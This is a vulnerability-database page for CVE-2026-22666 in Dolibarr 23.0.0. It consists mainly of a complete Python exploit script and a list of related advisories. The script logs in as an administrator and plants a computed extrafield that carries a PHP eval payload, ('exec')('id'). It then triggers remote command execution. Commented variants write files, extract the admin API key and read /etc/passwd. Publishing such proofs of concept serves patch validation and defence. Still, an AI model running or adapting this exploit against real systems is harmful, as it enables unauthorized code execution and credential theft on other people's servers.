Lucene search
K

📄 Dolibarr 23.0.0 dol_eval_standard() Whitelist Bypass

🗓️ 08 Apr 2026 00:00:00Reported by Jiva SecurityType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 102 Views

PoC shows Dolibarr 23.0.0 dol_eval_standard() whitelist bypass enabling code execution and exfiltration.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-22666
7 Apr 202612:41
attackerkb
Circl
CVE-2026-22666
7 Apr 202600:00
circl
CNNVD
Dolibarr ERP/CRM 安全漏洞
7 Apr 202600:00
cnnvd
CVE
CVE-2026-22666
7 Apr 202612:41
cve
Cvelist
CVE-2026-22666 Dolibarr ERP/CRM < 23.0.2 Authenticated RCE via dol_eval_standard()
7 Apr 202612:41
cvelist
EUVD
EUVD-2026-19606
7 Apr 202615:30
euvd
NVD
CVE-2026-22666
7 Apr 202613:16
nvd
OSV
UBUNTU-CVE-2026-22666
7 Apr 202613:16
osv
Positive Technologies
PT-2026-30818
7 Apr 202600:00
ptsecurity
RedhatCVE
CVE-2026-22666
5 Jun 202619:14
redhatcve
Rows per page
#!/usr/bin/env python3
    """
    Dolibarr 23.0.0 dol_eval_standard() Whitelist Bypass by Jiva (JivaSecurity.com)
    Proof of Concept — AUTHORIZED TESTING ONLY
    
    The whitelist mode of dol_eval_standard() does not apply $forbiddenphpstrings
    checks, and the function-call regex does not detect PHP dynamic callable syntax.
    This allows ('exec')('cmd') to bypass all validation and reach eval().
    
    Demonstrated impacts:
      - Arbitrary file creation via new SplFileObject()
      - Database exfiltration via Dolibarr ORM model classes
      - OS command execution via ('exec')('cmd')
    
    Usage: python3 dolibarr_pwn.py [--target URL] [--command CMD]
    """
    
    import argparse
    import re
    import sys
    import urllib.parse
    
    try:
        import requests
    except ImportError:
        print("[!] ERROR: 'requests' library required. Install with: pip install requests")
        sys.exit(1)
    
    
    class DolibarrRCEExploit:
        """Exploits dol_eval_standard() whitelist bypass via computed extrafields."""
    
        EXTRAFIELD_NAME = "jiva_rce_poc"
        EXTRAFIELD_LABEL = "JivaRcePoc"
        EXTRAFIELD_PATH = "/societe/admin/societe_extrafields.php"
        TRIGGER_PATH = "/societe/list.php"
    
        def __init__(self, target, username, password, verify_ssl=False, verbose=False):
            self.target = target.rstrip("/")
            self.username = username
            self.password = password
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = verify_ssl
            self.csrf_token = None
            self.exfiltrated_value = None
    
        def log(self, level, msg):
            prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"}
            if level == "debug" and not self.verbose:
                return
            print(f"{prefix.get(level, '[?]')} {msg}")
    
        def _extract_csrf_token(self, html):
            """Extract CSRF token from HTML page."""
            match = re.search(r'name="token"\s+value="([^"]+)"', html)
            if not match:
                match = re.search(r'meta\s+name="anti-csrf-newtoken"\s+content="([^"]+)"', html)
            if match:
                return match.group(1)
            return None
    
        def step1_authenticate(self):
            """Authenticate to Dolibarr web UI and establish a session."""
            self.log("info", f"Authenticating to {self.target} as '{self.username}'...")
    
            # Get login page for initial CSRF token and session cookie
            resp = self.session.get(f"{self.target}/index.php", allow_redirects=False)
            if resp.status_code != 200:
                self.log("error", f"Failed to reach login page (HTTP {resp.status_code})")
                return False
    
            self.csrf_token = self._extract_csrf_token(resp.text)
            if not self.csrf_token:
                self.log("error", "Could not extract CSRF token from login page")
                return False
            self.log("debug", f"CSRF token: {self.csrf_token}")
    
            # POST login
            login_data = {
                "token": self.csrf_token,
                "actionlogin": "login",
                "loginfunction": "loginfunction",
                "username": self.username,
                "password": self.password,
            }
            resp = self.session.post(
                f"{self.target}/index.php?mainmenu=home",
                data=login_data,
                allow_redirects=True,
            )
    
            # Check for successful login indicators
            if "logout" in resp.text.lower() or "mainmenu" in resp.text.lower():
                self.log("success", "Authentication successful")
                return True
    
            self.log("error", "Authentication failed — check credentials")
            return False
    
        def step2_get_csrf_token(self):
            """Fetch the extrafields admin page and extract a fresh CSRF token."""
            self.log("info", "Fetching extrafields admin page for CSRF token...")
            resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
            if resp.status_code != 200:
                self.log("error", f"Failed to load extrafields page (HTTP {resp.status_code})")
                return False
    
            self.csrf_token = self._extract_csrf_token(resp.text)
            if not self.csrf_token:
                self.log("error", "Could not extract CSRF token from extrafields page")
                return False
    
            self.log("debug", f"Fresh CSRF token: {self.csrf_token}")
    
            # Check if our extrafield already exists
            self._extrafield_exists = self.EXTRAFIELD_NAME in resp.text
            self.log("debug", f"Extrafield '{self.EXTRAFIELD_NAME}' exists: {self._extrafield_exists}")
            return True
    
        def step3_create_extrafield(self, payload):
            """Create or update a computed extrafield with the exploit payload."""
            action = "update" if self._extrafield_exists else "add"
            self.log("info", f"{'Updating' if self._extrafield_exists else 'Creating'} "
                     f"computed extrafield '{self.EXTRAFIELD_NAME}'...")
            self.log("info", f"Payload: {payload}")
    
            form_data = {
                "token": self.csrf_token,
                "action": action,
                "attrname": self.EXTRAFIELD_NAME,
                "label": self.EXTRAFIELD_LABEL,
                "type": "varchar",
                "size": "255",
                "pos": "200",
                "computed_value": payload,
                "list": "1",
                "button": "Add attribute" if action == "add" else "Modify",
            }
    
            resp = self.session.post(
                f"{self.target}{self.EXTRAFIELD_PATH}",
                data=form_data,
                allow_redirects=False,
            )
    
            if resp.status_code == 302:
                self.log("success", f"Extrafield {action}d successfully (302 redirect)")
                return True
    
            # Check for error in response body
            if "error" in resp.text.lower():
                self.log("error", f"Extrafield {action} may have failed — check response")
                self.log("debug", resp.text[:500])
                return False
    
            self.log("success", f"Extrafield {action} returned HTTP {resp.status_code}")
            return True
    
        def step4_trigger_eval(self):
            """Trigger dol_eval() by loading the company list page."""
            self.log("info", f"Triggering eval via {self.TRIGGER_PATH}...")
            resp = self.session.get(f"{self.target}{self.TRIGGER_PATH}")
            if resp.status_code != 200:
                self.log("error", f"Trigger page returned HTTP {resp.status_code}")
                return None
    
            # Extract computed field value from rendered HTML
            # Pattern: data-key="societe.jiva_rce_poc" title="VALUE"
            pattern = (
                r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
                + r'"[^>]*title="([^"]*)"'
            )
            matches = re.findall(pattern, resp.text)
            if matches:
                self.exfiltrated_value = matches[0]
                self.log("success", f"Eval triggered — extracted value: {self.exfiltrated_value}")
                return self.exfiltrated_value
    
            # Fallback: check for value in td content
            pattern2 = (
                r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
                + r'"[^>]*>([^<]+)<'
            )
            matches2 = re.findall(pattern2, resp.text)
            if matches2:
                self.exfiltrated_value = matches2[0].strip()
                self.log("success", f"Eval triggered — extracted value: {self.exfiltrated_value}")
                return self.exfiltrated_value
    
            # Check for eval error messages
            if "Bad string syntax" in resp.text:
                self.log("error", "dol_eval() rejected the payload — syntax check failed")
                err_match = re.search(r'Bad string syntax[^<]+', resp.text)
                if err_match:
                    self.log("debug", err_match.group(0))
                return None
    
            self.log("error", "Could not find computed field value in response")
            return None
    
        def step5_cleanup(self):
            """Delete the PoC extrafield to leave the target clean."""
            self.log("info", f"Cleaning up — deleting extrafield '{self.EXTRAFIELD_NAME}'...")
    
            # Re-fetch page for fresh CSRF token
            resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
            token = self._extract_csrf_token(resp.text)
            if not token:
                self.log("error", "Could not get CSRF token for cleanup")
                return False
    
            delete_data = {
                "token": token,
                "action": "delete",
                "attrname": self.EXTRAFIELD_NAME,
            }
            resp = self.session.post(
                f"{self.target}{self.EXTRAFIELD_PATH}",
                data=delete_data,
                allow_redirects=False,
            )
            if resp.status_code == 302:
                self.log("success", "Extrafield deleted — target cleaned up")
                return True
    
            self.log("error", f"Cleanup may have failed (HTTP {resp.status_code})")
            return False
    
        def run(self):
            """Execute the full exploit chain and return results."""
            print("=" * 70)
            print("Dolibarr dol_eval() Whitelist Bypass PoC - by Jiva (JivaSecurity.com)")
            print("=" * 70)
            print()
    
            # Step 1: Authenticate
            if not self.step1_authenticate():
                return False
    
            # Step 2: Get CSRF token from extrafields page
            if not self.step2_get_csrf_token():
                return False
    
            # Step 3: Create extrafield with DB exfiltration payload
            payload = (
                # "(new SplFileObject('/tmp/rce_proof', 'w')) ? 'file_created' : 'blocked'"
                # "(($var1 = new User($db)) && ($var1->fetchNoCompute(1) > 0)) ? $var1->api_key : 'failed'"
                "('exec')('id')"
                # "('exec')('id && hostname && cat /etc/passwd | head -5')"
            )
    
            if not self.step3_create_extrafield(payload):
                return False
    
            # Step 4: Trigger eval and extract result
            result = self.step4_trigger_eval()
            if result is None:
                self.log("error", "Exploitation failed — eval did not return expected output")
                self.step5_cleanup()
                return False
    
            # Step 5: Cleanup
            self.step5_cleanup()
    
            # Print summary
            print()
            print("=" * 70)
            print("EXPLOITATION SUMMARY")
            print("=" * 70)
            print(f"  Target:          {self.target}")
            print(f"  Vulnerability:   dol_eval() whitelist bypass")
            print(f"  Author:          Jiva (JivaSecurity.com)")
            print(f"  Writeup:         https://jivasecurity.com/writeups/dolibarr-remote-code-execution-cve-2026-22666")
            print(f"  CVE:             CVE-2026-22666 (Dolibarr 23.0.0 dol_eval_standard)")
            print(f"  CVSS:            9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)")
            print(f"  Payload:         {payload}")
            print(f"  Exfiltrated:     Admin API key = {result}")
            print(f"  Impact:          Arbitrary PHP eval in whitelist mode allows")
            print(f"                   class instantiation (SplFileObject, User, etc.)")
            print(f"                   leading to file write and full DB read access.")
            print("=" * 70)
    
            if result == "FETCH_FAILED":
                self.log("error", "Payload executed but fetchNoCompute returned failure")
                return False
    
            return True
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="Dolibarr 23.0.0 dol_eval() whitelist bypass PoC by Jiva (JivaSecurity.com)",
            epilog="Authorized penetration testing and patch validation ONLY.",
        )
        parser.add_argument(
            "--target", "-t",
            default="http://0.0.0.0",
            help="Target Dolibarr URL (default: http://0.0.0.0)",
        )
        parser.add_argument(
            "--username", "-u",
            default="admin",
            help="Admin username (default: admin)",
        )
        parser.add_argument(
            "--password", "-p",
            default="admin",
            help="Admin password (default: admin)",
        )
        parser.add_argument(
            "--verbose", "-v",
            action="store_true",
            help="Enable verbose/debug output",
        )
        parser.add_argument(
            "--no-cleanup",
            action="store_true",
            help="Skip cleanup (leave extrafield in place for inspection)",
        )
        args = parser.parse_args()
    
        exploit = DolibarrRCEExploit(
            target=args.target,
            username=args.username,
            password=args.password,
            verbose=args.verbose,
        )
    
        success = exploit.run()
        sys.exit(0 if success else 1)
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Apr 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.2
CVSS 48.6
EPSS0.15527
102